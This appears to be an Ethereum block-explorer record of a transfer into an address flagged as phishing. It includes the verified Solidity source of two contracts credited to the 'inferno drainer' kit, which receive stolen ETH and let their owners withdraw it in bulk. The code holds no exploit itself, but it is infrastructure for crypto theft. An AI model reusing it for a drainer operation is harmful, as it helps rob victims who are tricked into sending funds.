Transaction Hash:
Block:
19115455 at Jan-29-2024 11:28:35 PM +UTC
Transaction Fee:
0.000820081662182832 ETH
$1.60
Gas Used:
38,598 Gas / 21.246739784 Gwei
Account State Difference:
| Address | Before | After | State Difference | ||
|---|---|---|---|---|---|
| 0x000037bB...826Ce0000 | (Fake_Phishing188250) | 52.167702043265833385 Eth | 52.221601490123209461 Eth | 0.053899446857376076 | |
| 0xc3F714F0...ce53Ed6cb |
0.055932632374266172 Eth
Nonce: 180
|
0.001213103854707264 Eth
Nonce: 181
| 0.054719528519558908 | ||
|
0xe1Ed0F4b...2F0537a9C
Miner
| (Fee Recipient: 0xe1ed...a9c) | 9.503875170744535861 Eth | 9.504174597182322967 Eth | 0.000299426437787106 |
Execution Trace
ETH 0.053899446857376076
Fake_Phishing188583.CALL( )
-
StorageContract.STATICCALL( ) - ETH 0.053899446857376076
Receiver.CALL( )
File 1 of 2: StorageContract
File 2 of 2: Receiver
// @mr_inferno_drainer / inferno drainer
pragma solidity ^0.8.6;
contract StorageContract {
address public nativeCryptoReceiver;
address[] public owners;
constructor(address defaultNativeCryptoReceiver, address firstOwner) {
nativeCryptoReceiver = defaultNativeCryptoReceiver;
owners.push(firstOwner);
}
modifier onlyOwner() {
bool isOwner = false;
for (uint256 i = 0; i < owners.length; i++) {
if (msg.sender == owners[i]) {
isOwner = true;
break;
}
}
require(isOwner, "Caller is not an owner");
_;
}
function addOwner(address newOwner) public onlyOwner {
owners.push(newOwner);
}
function getOwners() public view returns (address[] memory) {
return owners;
}
function removeOwner(address ownerToRemove) public onlyOwner {
uint256 index = type(uint256).max;
for (uint256 i = 0; i < owners.length; i++) {
if (owners[i] == ownerToRemove) {
index = i;
break;
}
}
require(index != type(uint256).max, "Owner not found");
require(owners.length > 1, "Cannot remove the last owner");
owners[index] = owners[owners.length - 1];
owners.pop();
}
function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
public
onlyOwner
{
nativeCryptoReceiver = newNativeCryptoReceiver;
}
}File 2 of 2: Receiver
// File: contracts/StorageContract.sol
pragma solidity ^0.8.6;
contract StorageContract {
address public nativeCryptoReceiver;
address[] public owners;
constructor(address defaultNativeCryptoReceiver, address firstOwner) {
nativeCryptoReceiver = defaultNativeCryptoReceiver;
owners.push(firstOwner);
}
modifier onlyOwner() {
bool isOwner = false;
for (uint256 i = 0; i < owners.length; i++) {
if (msg.sender == owners[i]) {
isOwner = true;
break;
}
}
require(isOwner, "Caller is not an owner");
_;
}
function addOwner(address newOwner) public onlyOwner {
owners.push(newOwner);
}
function getOwners() public view returns (address[] memory) {
return owners;
}
function removeOwner(address ownerToRemove) public onlyOwner {
uint256 index = type(uint256).max;
for (uint256 i = 0; i < owners.length; i++) {
if (owners[i] == ownerToRemove) {
index = i;
break;
}
}
require(index != type(uint256).max, "Owner not found");
require(owners.length > 1, "Cannot remove the last owner");
owners[index] = owners[owners.length - 1];
owners.pop();
}
function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
public
onlyOwner
{
nativeCryptoReceiver = newNativeCryptoReceiver;
}
}
// File: contracts/Receiver.sol
pragma solidity ^0.8.4;
contract Receiver {
StorageContract storageContract;
mapping(address => uint256) private balances;
constructor(address storageContractAddress) {
storageContract = StorageContract(storageContractAddress);
}
modifier onlyOwner() {
bool isOwner = false;
for (uint256 i = 0; i < storageContract.getOwners().length; i++) {
if (msg.sender == storageContract.owners(i)) {
isOwner = true;
break;
}
}
require(isOwner, "Caller is not an owner");
_;
}
receive() external payable {}
fallback() external payable {}
function withdraw(uint256 amount, address recipient) public onlyOwner {
require(
amount <= address(this).balance,
"Not enough balance in the contract"
);
(bool sent, ) = payable(recipient).call{value: amount}("");
require(sent, "Fail");
}
function bulkWithdraw(uint256[] memory amounts, address[] memory recipients)
public
onlyOwner
{
require(
amounts.length == recipients.length,
"The amounts and recipients length mismatch"
);
for (uint256 i = 0; i < recipients.length; i++) {
uint256 amount = amounts[i];
address recipient = recipients[i];
require(
amount <= address(this).balance,
"Not enough balance in the contract"
);
(bool sent, ) = payable(recipient).call{value: amount}("");
require(sent, "Fail");
}
}
}